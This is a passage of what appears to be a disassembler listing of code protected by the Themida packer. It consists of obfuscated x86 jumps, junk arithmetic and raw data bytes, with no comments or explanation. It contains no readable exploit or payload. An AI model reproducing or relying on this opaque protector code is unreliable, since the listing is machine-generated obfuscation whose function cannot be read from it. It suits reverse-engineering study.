		jmp	loc_553B9B
; ---------------------------------------------------------------------------


loc_557F26:				; CODE XREF: Themida_:00555207j
		xor	eax, edi
		jmp	loc_557FD7
; ---------------------------------------------------------------------------
		db 80h,	0CBh, 0B0h
		dd 0C002E3C0h, 0F38006EBh, 0DA885286h, 37E9D588h, 4DFFFF6Ch
		dd 0FFAB47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557F49:				; CODE XREF: Themida_:00554BC1j
		pop	esp
		jmp	loc_552463
; ---------------------------------------------------------------------------
		db 0FFh
		dd 3CE92434h, 5DFFFF78h, 8B24048Fh, 1C892424h, 0C019B324h
		dd 0E95208E3h, 0FFFFFB76h
; ---------------------------------------------------------------------------


loc_557F6C:				; CODE XREF: Themida_:0054FAD5j
		push	1A63h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		mov	esi, 42FB5A30h
		jmp	loc_555822
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 89000000h,	0A2E92434h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557F93:				; CODE XREF: Themida_:00556792j
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_551C59
; ---------------------------------------------------------------------------
		dd 7E6BE952h, 0E983FFFFh, 3E95104h, 1FFFF6Ch, 555A5FF8h
		dd 82632BDh, 5954513Bh,	0AEABD55h, 0D5F750C7h, 1CCB850h
		dd 50E97DEEh
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557FD7:				; CODE XREF: Themida_:00557F28j
		xor	edi, eax
		xor	eax, edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5587EF
; ---------------------------------------------------------------------------


loc_557FEF:				; CODE XREF: Themida_:0054EC5Fj
		sub	edx, 10B211F1h
		mov	ecx, edx
		pop	edx
		add	ecx, edi
		push	1EC9h
		jmp	loc_555462
; ---------------------------------------------------------------------------
		dd 24048B66h, 26E268h, 243C8900h, 142568h, 24248900h, 0FFB161E9h
		dd 78EF81FFh, 0E9DAD0FBh, 0FFFFA7B6h, 55F3C681h, 0E95651F2h
		dd 0FFFF8B43h, 83240C89h, 148904ECh, 2D0CE924h,	0EC810000h
		dd 4, 0E9243489h, 0FFFFCF00h, 0E766EA81h, 0D301FF44h, 43BF575Ah
		dd 3102FE83h, 93CAE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558066:				; CODE XREF: Themida_:00554DEBj
		xor	eax, 0FB5885AEh
		sub	ebp, eax
		pop	eax
		add	ebp, edi
		add	ebp, 6EA10734h
		pop	edi
		jmp	loc_5591EC
; ---------------------------------------------------------------------------
		dd 95AD301h, 1C8B1C5Fh,	0C29CE924h, 1C89FFFFh, 7606E924h
		dd 34FFFFFFh, 24048B24h, 8104C483h, 4ECh, 240C8900h, 0FF8332E9h
		dd 4EC83FFh, 0B4240489h, 3FEE90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5580B6:				; CODE XREF: Themida_:00555985j
		add	esp, 4
		jmp	loc_551E42
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 0F4AAE95Ah, 575EFFFFh, 0C781E789h, 4, 0FFF684E9h, 0CFB035FFh
		dd 0C68969A2h, 0BAFCE958h, 17B8FFFFh, 2D20B648h, 1DC54F29h
		dd 0FF72D8E9h, 4875DFFh, 61E95C24h, 0F7FFFF69h,	0D9EB81D3h
		dd 3100E9E4h, 0D3215BDAh, 0C1DBF75Ah, 0C38104E3h, 4A6D3A8Bh
		dd 4287B850h, 0E0C11E52h, 0BA524804h, 4E160B40h, 0E95AD009h
		dd 0FFFFCC3Fh, 0EC80D428h, 0E708E930h, 665CFFFFh, 52240C8Bh
		dd 0BD555A54h, 4, 1976BD55h, 0F5810FEDh, 11117607h, 8107E5C1h
		dd 0B18476F5h, 9EA2E97Ch, 0D0F7FFFFh, 0F708E8C1h, 57B25D0h
		dd 0D4056DCBh, 192BFFAh, 7FE958C6h, 57FFFF8Eh, 0C21263BFh
		dd 0EE78128h, 817D154Bh, 0DD40C4CFh, 8A91E919h,	0E888FFFFh
		dd 0FFC008E9h, 4EC83FFh, 0FFC5C7E9h, 4C381FFh, 33000000h
		dd 1C31241Ch, 241C3324h, 0E924248Bh, 0FFFF964Ch, 0B2241489h
		dd 0B353513Bh, 5BDD88DEh, 0C067CD80h, 515003EDh, 40E9C8B5h
		dd 5B00000Ch, 0FF8352E9h, 348B54FFh, 4C48324h, 4C681h
		dd 0BA520000h, 15AD6514h, 5443EA81h, 0BB536231h, 36BC379Fh
		dd 7260BF57h, 4EE94251h, 58FFFF7Fh, 34FFC389h, 0DA44E924h
		dd 0EC83FFFFh, 24348904h, 850D56BEh, 56EE8173h,	114D29Dh
		dd 0DC685EF0h, 8900001Fh, 34FF2404h, 0C4815B24h, 4, 6826E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558236:				; CODE XREF: Themida_:005591B0j
		mov	[esp], edi
		jmp	loc_5589A6
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 0E3E95645h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558247:				; CODE XREF: Themida_:00550FBEj
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_556485
; ---------------------------------------------------------------------------
		db 83h
		dd 0E9C304C4h, 0FFFF67FCh
; ---------------------------------------------------------------------------


loc_558260:				; CODE XREF: Themida_:0054FCB5j
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	ebx
		push	75EE154Bh
		mov	ebx, [esp]
		jmp	loc_55A604
; ---------------------------------------------------------------------------
		db 89h
		dd 18E95AD5h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55827B:				; CODE XREF: Themida_:0054EC13j
		mov	ecx, 18C0382Fh
		xor	ecx, 70A76F84h
		and	esi, ecx
		jmp	loc_55A254
; ---------------------------------------------------------------------------
		db 66h,	0ADh, 66h
		dd 0EC83D831h, 1C896602h, 0B8665024h, 39E95945h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5582A3:				; CODE XREF: Themida_:00551D93j
		pop	ebp
		xor	ebp, edx
		pop	edx
		xor	esi, ebp
		pop	ebp
		and	esi, 4F38054Ch
		push	ebp
		jmp	loc_553D14
; ---------------------------------------------------------------------------


loc_5582B6:				; CODE XREF: Themida_:00554C0Fj
		mov	edx, 6CF903F8h
		or	ebp, edx
		pop	edx
		add	ebp, 42A734C4h
		jmp	loc_554AF6
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 1Ch
		dd 582AE366h, 0FF6787E9h, 2C383FFh, 8B241C87h, 0C3302424h
		dd 66C0B60Fh, 5024148Bh, 608E68h, 79D8E900h, 0F1BDFFFFh
		dd 4D1BBE0Bh, 0FFC735E9h, 53E789FFh, 4BBh, 7B5DE900h, 8352FFFFh
		dd 72E904ECh
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558313:				; CODE XREF: Themida_:005550EBj
		mov	eax, 0D0B1DBCh
		push	ebx
		mov	ebx, 0D0B1DB8h
		sub	eax, ebx
		pop	ebx
		mov	ecx, eax
		pop	eax
		add	ebp, 184754A4h
		sub	ebp, ecx
		push	ecx
		mov	ecx, 534E54D6h
		shr	ecx, 5
		inc	ecx
		add	ecx, 15ACE1FDh
		sub	ebp, ecx
		jmp	loc_5560D3
; ---------------------------------------------------------------------------


loc_558343:				; CODE XREF: Themida_:0055489Fj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54F873
; ---------------------------------------------------------------------------
		db 0B9h, 0F3h, 52h
		dd 0E9C121A7h, 6FE95306h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55835F:				; CODE XREF: Themida_:00559F69j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 7
		push	494Dh
		mov	[esp], ebx
		jmp	loc_55290D
; ---------------------------------------------------------------------------


loc_558376:				; CODE XREF: Themida_:00553323j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55045F
; ---------------------------------------------------------------------------
aBUS		db 'ʽ#U',0Ah
		db 'é-$',0
		align 4
		dd 4C481h, 0D1680000h, 89000043h, 0CE92404h, 51FFFF90h
		dd 0E1C098B1h, 0D435E907h, 7B5FFFFh, 506EE580h,	0C0F4B252h
		dd 0EEE906EAh, 81FFFFFCh, 4C4h,	0E6895600h, 389368h, 240C8900h
		dd 0FFAFADE9h, 35C281FFh, 29339C69h, 41E95AD6h,	0FFFFFF89h
		dd 58042474h, 8B24048Fh, 8B662424h, 0EC83240Ch,	13BDE904h
		dd 0D6BB0000h, 0F752C71Ah, 85E381D3h, 0C10E6D63h, 0E94B06EBh
		dd 0FFFFA9EAh, 6114B951h, 0E9502719h, 0FFFFD0BFh, 0FEBE565Ah
		dd 2934FF4Bh, 0F9015EF1h, 4BFEC181h, 505F34FFh,	0F35C1AB8h
		dd 8CAEE94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558436:				; CODE XREF: Themida_:0055AF40j
		add	edi, 4
		push	ebx
		jmp	loc_555D6B
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 5E28078Ah, 0FFD0FFE9h, 0E9E589FFh, 0FFFFB8E7h, 0C1465A5Eh
		dd 0EE8105E6h, 1583BF7Ch, 0E95EF789h, 11C7h
; ---------------------------------------------------------------------------


loc_558468:				; CODE XREF: Themida_:00555E02j
		not	eax
		jmp	loc_553DC3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D32424h, 0A348E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55847A:				; CODE XREF: Themida_:005599D8j
		xchg	ebx, [esp]
		jmp	loc_54FA4E
; ---------------------------------------------------------------------------
		dw 3FB8h
		dd 0F728BA7Bh, 327A0DD8h, 0CE3568E2h, 8164CD6Bh, 4ECh
		dd 24348900h, 1A21FCBEh, 0D9E6816Fh, 81035B31h,	0F27F4DE6h
		dd 0E9D6F72Bh, 0FFFF9AB6h, 0EC80C4FEh, 0E969E9A7h, 0F681FFFFh
		dd 53A2D0B5h, 81E9F301h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5584CB:				; CODE XREF: Themida_:00557C1Fj
		push	eax
		push	esp
		jmp	loc_54FCD7
; ---------------------------------------------------------------------------


loc_5584D2:				; CODE XREF: Themida_:005552AEj
		pop	edi
		jmp	loc_54EEB2
; ---------------------------------------------------------------------------


loc_5584D8:				; CODE XREF: Themida_:0055414Aj
		push	4C09h
		mov	[esp], ecx
		push	ebx
		mov	ebx, ebp
		sub	esp, 4
		jmp	loc_5508C2
; ---------------------------------------------------------------------------
		db 88h
		dd 8B2888D5h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557092
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFB598h, 66476658h, 8166D7F7h, 665A5CF7h
		dd 665FF801h, 0FF43DE05h, 0C8B2434h, 4C48324h, 0FFEB18E9h
		dd 4C381FFh, 0E9000000h, 228Dh,	1DF9CE81h, 0CE810883h
		dd 304355E9h, 0FF75A9E9h, 6AC181FFh, 9230BE2h, 2434FFC8h
		dd 57240C8Bh, 0C781E789h, 4, 103DE9h, 52C32900h, 4B8B850h
		dd 0C2891691h, 8124048Bh, 4C4h,	50BE5600h, 0E930CA54h
		dd 0FFFFD793h
; ---------------------------------------------------------------------------


loc_558580:				; CODE XREF: Themida_:0054EA74j
		add	al, 0ADh
		push	ecx
		push	eax
		mov	al, 1Fh
		mov	cl, 27h
		xchg	al, cl
		not	al
		xchg	al, cl
		not	cl
		inc	cl
		xor	cl, 0B0h
		jmp	loc_558C03
; ---------------------------------------------------------------------------
		dw 0D6F6h
		dd 501EF680h, 0D4F6FAB4h, 5AC480h, 0F72858E6h, 0FF7FF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5585B1:				; CODE XREF: Themida_:0055768Aj
		pop	esi
		pop	dword ptr [esp]
		push	esi
		push	edi
		jmp	loc_5515A9
; ---------------------------------------------------------------------------
		dd 24048B66h, 3D6F68h, 241C8900h, 449468h, 24248900h, 4240481h
		dd 8B000000h, 0C481241Ch, 4, 616368h, 240C8900h, 5F6DBBB9h
		dd 16C98167h, 0E93E4C58h, 0FFFF6876h, 0E9242C87h, 0FFFFE0ABh
; ---------------------------------------------------------------------------


loc_558600:				; CODE XREF: Themida_:00556005j
		push	edi
		mov	edi, 0EAB04F78h
		add	ebp, edi
		pop	edi
		mov	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 466054C3h
		jmp	loc_556E9A
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C240Ch, 0FFFFAE49h, 805AD128h, 68661BE1h, 85E90000h
		dd 0B900001Dh, 4, 0FFB2E3E9h, 0E68956FFh, 4C681h, 0C6810000h
		dd 4, 5C243487h, 0FFC38343h, 15DCC381h,	0F381776Ch, 5A93A773h
		dd 26FED81h, 0DD01643Bh, 26FC581h, 815B643Bh, 4C5h, 242C8700h
		dd 6D8E9h, 24348700h, 3487D6F7h, 94055824h, 0C1672470h
		dd 0D63504E0h, 0E93DCBC1h, 0FFFFE5CDh, 4C1835Eh, 0FFD4AAE9h
		dd 7EF580FFh, 0FF9E9FE9h, 3EB268FFh, 815F1054h,	233EC6E7h
		dd 0AEF78104h, 8978626Eh, 0D3895FFAh, 814B435Ah, 851D96C3h
		dd 81DBF77Bh, 3ABB5EF3h, 5BDA3139h, 0E95AD589h,	0FFFFA889h
; ---------------------------------------------------------------------------


loc_5586D8:				; CODE XREF: Themida_:00559334j
		push	ecx
		mov	ecx, 74753B6Ch
		jmp	loc_54FD5A
; ---------------------------------------------------------------------------
		db 50h
		dd 184899B8h, 0BBB530Ch, 9010C11h, 0D1485BD8h, 0B3302DE0h
		dd 0C3891A38h, 0DC68158h, 0E91D9219h, 0FFFF77C6h, 240C8B66h
		dd 23E4E9h, 24248B00h, 0FF6343E9h, 0E26335FFh, 0C189A964h
		dd 7060E958h, 8B66FFFFh, 0EC81240Ch, 4,	54242C89h, 0F267E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55873A:				; CODE XREF: Themida_:00554A20j
		add	esi, 5504705Eh
		pop	eax
		sub	esi, 4865AA79h
		push	esi
		pop	ebx
		pop	esi
		add	ebx, edi
		mov	ecx, [ebx]
		pop	ebx
		push	3320h
		mov	[esp], esi
		mov	esi, 80h
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4ACF4957h
		xor	ecx, 47466B6Eh
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	4E491D98h
		pop	edi
		xor	edi, 1B2773E1h
		mov	edx, edi
		jmp	loc_55A447
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 24048B1Ch, 1C0CE9h, 5BDA2100h, 36D2F281h, 0B02D51E1h
		dd 5214C65h, 36E42648h,	482DD001h, 5736E426h, 4E47CEBFh
		dd 9B7EE935h, 685EFFFFh, 1B54h,	0E9240C89h, 0FFFF7AF9h
; ---------------------------------------------------------------------------


loc_5587CC:				; CODE XREF: Themida_:005532D1j
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	ebx
		mov	ebx, 79D70800h
		add	ebx, 53E53944h
		not	ebx
		jmp	loc_54ED28
; ---------------------------------------------------------------------------


loc_5587EF:				; CODE XREF: Themida_:00557FEAj
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5535E8
; ---------------------------------------------------------------------------


loc_5587FA:				; CODE XREF: Themida_:0054ECC0j
		add	ebx, 1
		push	edi
		push	646Ah
		mov	[esp], edx
		mov	edx, 3FD673DAh
		mov	edi, edx
		pop	edx
		or	edi, 6986E91h
		add	edi, 1
		jmp	loc_5549B6
; ---------------------------------------------------------------------------


loc_55881F:				; CODE XREF: Themida_:0054F758j
		push	dword ptr [esp]
		pop	ebx
		push	6290h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	bl, 63h
		jmp	loc_55B039
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFA809E9h, 5E9C3FFh, 68FFFF62h, 0B893106h, 83241C8Bh
		dd 0F38104C4h, 723043F1h, 7319BA52h, 0F2815E9Dh, 4DF4B5Ah
		dd 895AD331h, 241C8BDDh, 3104C483h, 31E831C5h, 95D0F7C5h
		dd 0FF9C8CE9h, 0F8F581FFh, 522FF35Fh, 0E633E9BAh, 0DEF28177h
		dd 5339BC7Bh, 8B587DBBh, 3EBC17Ah, 41FACB81h, 0D3F72BEFh
		dd 0C381DBF7h, 2868DA3Eh, 0E95BDA29h, 0FFFFFB11h, 1800BD55h
		dd 78E9423Ch, 89FFFFF6h, 83682434h, 5E4CB073h, 8106E6C1h
		dd 54739FCEh, 0DDEE8162h, 896E5CF3h, 0ED815EF7h, 50CA757Fh
		dd 145E9h, 241C3300h, 240C895Ch, 8956C189h, 5EF389CEh
		dd 55240C8Bh, 0FFFB44E9h, 241CF7FFh, 2FBE565Bh,	8163D431h
		dd 3732BCEh, 0FBA0E929h, 0EF09FFFFh, 81DFF75Dh,	9E125F7h
		dd 0E9F90181h, 0FFFFC0B0h, 0BA241489h, 70D81F4Ch, 4FE2814Ah
		dd 81262509h, 0AFBAE1EAh, 5AD33103h, 2D5BD801h,	5F90EF3h
		dd 1F2CE9h, 51E78900h, 4B9h, 0BEC78100h, 1399D2Dh, 0BEEF81CFh
		dd 59399D2Dh, 8704C783h, 248B243Ch, 66C33124h, 0EDE930FFh
		dd 0F700001Ch, 0D8F796D6h, 0FFFD90E9h, 2434FFFFh, 0FFEDC2E9h
		dd 0E8015AFFh, 83242C8Bh, 0D80104C4h, 8E27B02Dh, 190AE964h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5589A6:				; CODE XREF: Themida_:00558239j
		push	esi
		mov	esi, 4
		push	esi
		jmp	loc_555974
; ---------------------------------------------------------------------------


loc_5589B2:				; CODE XREF: Themida_:005514DBj
		mov	ebp, edi
		pop	edi
		push	esi
		jmp	loc_554250
; ---------------------------------------------------------------------------


loc_5589BB:				; CODE XREF: Themida_:0054ED1Cj
		xor	dword ptr [esp], 58691230h
		pop	ecx
		xor	ecx, 58691230h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55AEE1
; ---------------------------------------------------------------------------


loc_5589E8:				; CODE XREF: Themida_:0055AC18j
		add	eax, edx
		pop	edx
		sub	eax, edi
		sub	eax, 2B401ABh
		jmp	loc_551BDA
; ---------------------------------------------------------------------------


loc_5589F7:				; CODE XREF: Themida_:00554CA7j
		xor	ebp, esi
		jmp	loc_54FA1B
; ---------------------------------------------------------------------------


loc_5589FE:				; CODE XREF: Themida_:00556480j
		pop	ebp
		add	eax, ebp
		jmp	loc_556423
; ---------------------------------------------------------------------------
		dw 8B59h
		dd 8951243Ch, 4EC83E1h,	0FF8B66E9h, 237F68FFh, 89583443h
		dd 0D6EE9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558A22:				; CODE XREF: Themida_:005536D4j
		xchg	edx, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_557183
		push	ebx
		mov	ebx, esp
		jmp	loc_553F5E
; ---------------------------------------------------------------------------
		dw 0FD01h
		dd 757FC581h, 3C8B50CAh, 4C48324h, 5C242C87h, 24043166h
		dd 600AE99Ch, 2C89FFFFh, 815D5424h, 4C5h, 2C58100h, 87000000h
		dd 2C5C242Ch, 4D800FDh,	0B65266FDh, 0E9F000B2h,	82Fh, 0E903E1C1h
		dd 0FFFFAF6Eh, 31243C33h, 3C33243Ch, 24248B24h,	9C2404D3h
		dd 0B64E9h, 2952BE00h, 0F10943FFh, 9444E95Eh, 0C481FFFFh
		dd 4, 209968h, 241C8900h, 42474FFh, 81241C8Bh, 4C4h, 0E0C0E900h
		dd 3605FFFFh, 537A5542h, 0BD7079BBh, 2C512D51h,	0D8293A58h
		dd 0FFEAFFE9h, 3FB753FFh, 0E780D7F6h, 2EFC0F3h,	28E1B551h
		dd 0F98859EFh, 0E9C9FE5Bh, 1579h
; ---------------------------------------------------------------------------


loc_558AF4:				; CODE XREF: Themida_:005558A9j
		xor	edi, 0F6DA0404h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5558E1
; ---------------------------------------------------------------------------
		db 1
		dd 34335DEEh, 24343124h, 8B243433h, 0C8852424h,	5F3AE99Ch
		dd 248BFFFFh, 5F32E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B2A:				; CODE XREF: Themida_:00554E99j
		push	edi
		push	5CA33BF8h
		pop	edi
		sub	edi, 7B330617h
		add	edi, 1
		push	edx
		jmp	loc_54ECC5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2E92414h, 0FFFFFF83h
		db 34h,	24h, 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 15A66760h
		or	edi, 301A3Fh
		shl	edi, 4
		jmp	loc_558D9A
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 895604C0h, 0E7B850E6h, 487BC662h, 4848E8D1h,	0FF942AE9h
		dd 4E6C1FFh, 53685752h,	5F27E376h, 19A2F781h, 0EF81125Eh
		dd 0D8A335Eh, 0E95FFA89h, 0FFFFA8DBh, 5B95147h,	8109C637h
		dd 0CF6633C7h, 81CF293Eh, 0CF6633EFh, 5255593Eh, 830AADBAh
		dd 5AD58974h, 8102E5C1h, 814F90E5h, 0C3B0E939h,	0C781FFFFh
		dd 4, 4E6BB53h,	87432ACBh, 87D6F7F3h, 180EE9F3h, 0C3830000h
		dd 241C8704h, 4B8505Ch,	1000000h, 555158C5h, 4BDh, 8BE98900h
		dd 0D0E9242Ch
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C03:				; CODE XREF: Themida_:00558595j
		xor	cl, al
		jmp	loc_54EBE3
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 1C6A1D88h, 0F18EEB81h, 0DA29C203h, 81F2015Bh, 2622F2C2h
		dd 2434FF3Eh, 4C4815Eh,	87000000h, 248B2414h, 0B30F6624h
		dd 0E99C2404h, 0FFFF5E20h
; ---------------------------------------------------------------------------


loc_558C3C:				; CODE XREF: Themida_:00551615j
		push	ecx
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 5Eh
		dd 31240C33h, 0C33240Ch, 24248B24h, 6203A5F3h, 40DC6838h
		dd 3C890000h, 288BF24h,	0CF813D34h, 5D942800h, 8106EFC1h
		dd 4ECh, 241C8900h, 5E0C3CBBh, 5BDF0153h, 0BBA3F781h, 42C70BE2h
		dd 0B6674538h, 38B9515Eh, 0E9000000h, 0FFFF6231h, 8B2434FFh
		dd 0C481243Ch, 4, 4C481h, 0C6680000h, 8900003Ah, 0A7BA2414h
		dd 55116D9h, 14F92C79h,	0D9E9D029h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558CBF:				; CODE XREF: Themida_:005507D4j
		xor	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_54ED42
; ---------------------------------------------------------------------------
		dd 9D3F8405h, 53D8012Ah, 9D3F84BBh, 5BD8292Ah, 20A4E9h
		dd 241C8B00h, 8104C483h, 4C3h, 7DBA5200h, 4A3A2726h, 667EA81h
		dd 814A2CE0h, 4ECh, 24048900h, 6F8CE953h, 5B54FFFFh, 0EE77E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D0E:				; CODE XREF: Themida_:00552232j
		mov	[esp], ecx
		mov	ecx, 60665DD5h
		push	ebp
		mov	ebp, 4CDA6CF1h
		jmp	loc_55AD76
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0FF91D0E9h, 6EBD55FFh, 0C129377Dh, 0F58103E5h, 1C84482Fh
		dd 0A35BF581h, 0E901553Fh, 0F431E95Dh, 685CFFFFh, 630Bh
		dd 0FF6C07E9h, 34FF5CFFh, 24048B24h, 4C481h, 89520000h
		dd 0DDE953E2h, 66FFFFD7h, 0E924048Bh, 0FFFF6E4Fh
; ---------------------------------------------------------------------------


loc_558D70:				; CODE XREF: Themida_:00557880j
		pop	edi
		add	esi, 9109C8B8h
		shl	esi, 4
		jmp	loc_555EB5
; ---------------------------------------------------------------------------
		db 81h
		dd 33326CEAh, 0C2295B5Ah, 1061B850h, 0D8F721D2h, 3768B205h
		dd 0D3CBE988h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D9A:				; CODE XREF: Themida_:00558B61j
		or	edi, 3AC3353Dh
		jmp	loc_553D5C
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0EBh
		dd 58FFFFEEh, 8B24048Fh, 82E92424h, 31FFFFE2h, 2EE95AD5h
		dd 66FFFFDCh, 0E924048Bh, 0FFFF92E6h, 0FF5C8FE9h, 0F2C281FFh
		dd 1F7F8FFh, 24148BD3h,	4C481h,	1C870000h, 24248B24h, 0E99CC138h
		dd 0FFFF5C70h, 0DDE9505Fh, 89000023h, 809AE9E6h, 489FFFFh
		dd 0D3885324h, 885BDC88h, 0CFFE58E7h, 99E9FA88h, 30FFFF84h
		dd 0E9E830C5h, 0F23h, 3685366h,	8900006Eh, 83E9240Ch, 43FFFFF5h
		dd 0F381DBF7h, 0AEF2F893h, 0E95BD829h, 0FFFF8A5Bh
; ---------------------------------------------------------------------------


loc_558E38:				; CODE XREF: Themida_:005527A4j
		pop	eax
		jmp	loc_5557A7
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0FF82E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E46:				; CODE XREF: Themida_:005553AFj
		add	esp, 4
		pop	edx
		jmp	loc_55AE10
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C1D5F7D5h, 0F58105EDh, 75DD014Ah, 18C6EB81h, 0B8E94652h
		dd 5FFFFFACh, 34FFD031h, 0C4835A24h, 0FBE95004h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E77:				; CODE XREF: Themida_:0055AF5Bj
		mov	edx, [esp]
		jmp	loc_5518CB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 0C1E99C24h, 8BFFFF94h,	0C483241Ch
		dd 5BC2E904h, 0C729FFFFh, 243C8758h, 0C89665Ch,	30B7B124h
		dd 0C8B66C8h, 0E0B7E924h, 48FFFFFh, 0E6E95C24h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558EBB:				; CODE XREF: Themida_:00550AA3j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_55AC32
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C4h, 243C8904h, 0FF8E34E9h, 24248BFFh, 2474FF51h
		dd 240C8B04h, 8F04C483h, 48E92404h, 8900000Ch, 79BA52E6h
		dd 0E919042Ah, 0FFFFC6DEh
; ---------------------------------------------------------------------------


loc_558EF8:				; CODE XREF: Themida_:00559EF7j
		sub	ebx, 210151h
		jmp	loc_556B40
; ---------------------------------------------------------------------------
		db 66h
		dd 56240C8Bh, 2434FF54h, 6768505Eh, 0E900003Dh,	0FFFFC932h
		dd 2474FF56h, 48F5E04h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	1B82h
		mov	[esp], ebx
		mov	ebx, 566F11A5h
		neg	ebx
		shr	ebx, 7
		and	ebx, 12C75195h
		push	eax
		mov	eax, 354959F7h
		and	ebx, eax
		pop	eax
		sub	ebx, offset sub_410190
		add	ebp, 5F1406CAh
		jmp	loc_54EC42
; ---------------------------------------------------------------------------


loc_558F5D:				; CODE XREF: Themida_:0055AFA9j
		push	ebx
		mov	ebx, 3D6400F3h
		jmp	loc_559536
; ---------------------------------------------------------------------------
		dd 5257CA81h, 0EE94DA1h, 1FFFFF4h, 0A7D7E9F9h, 8268FFFFh
		dd 5A01F250h, 5503E2C1h, 6518F6BDh, 0E5C14D3Fh,	0D73AE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558F92:				; CODE XREF: Themida_:00556581j
		mov	esi, 556121A8h
		jmp	loc_55AB1C
; ---------------------------------------------------------------------------
		dd 26E9F101h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558FA3:				; CODE XREF: Themida_:00555E43j
		or	edi, 30895B62h
		not	edi
		jmp	loc_5506F5
; ---------------------------------------------------------------------------
		dd 0A96DEA81h, 0C581EF6Bh, 521B437Eh, 0ED81D501h, 521B437Eh
		dd 5324148Bh, 0FF5F14E9h, 0ABBD55FFh, 8911D379h, 0E6815DEEh
		dd 13FE496Eh, 1C4DF681h, 81461BEFh, 0C2AA9AC6h,	5EF389F5h
		dd 335BD801h, 4312404h,	24043324h, 6624248Bh, 2404AB0Fh
		dd 5A56E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559006:				; CODE XREF: Themida_:005561ECj
		not	edi
		xor	edi, 5E6366FDh
		dec	edi
		jmp	loc_552A65
; ---------------------------------------------------------------------------
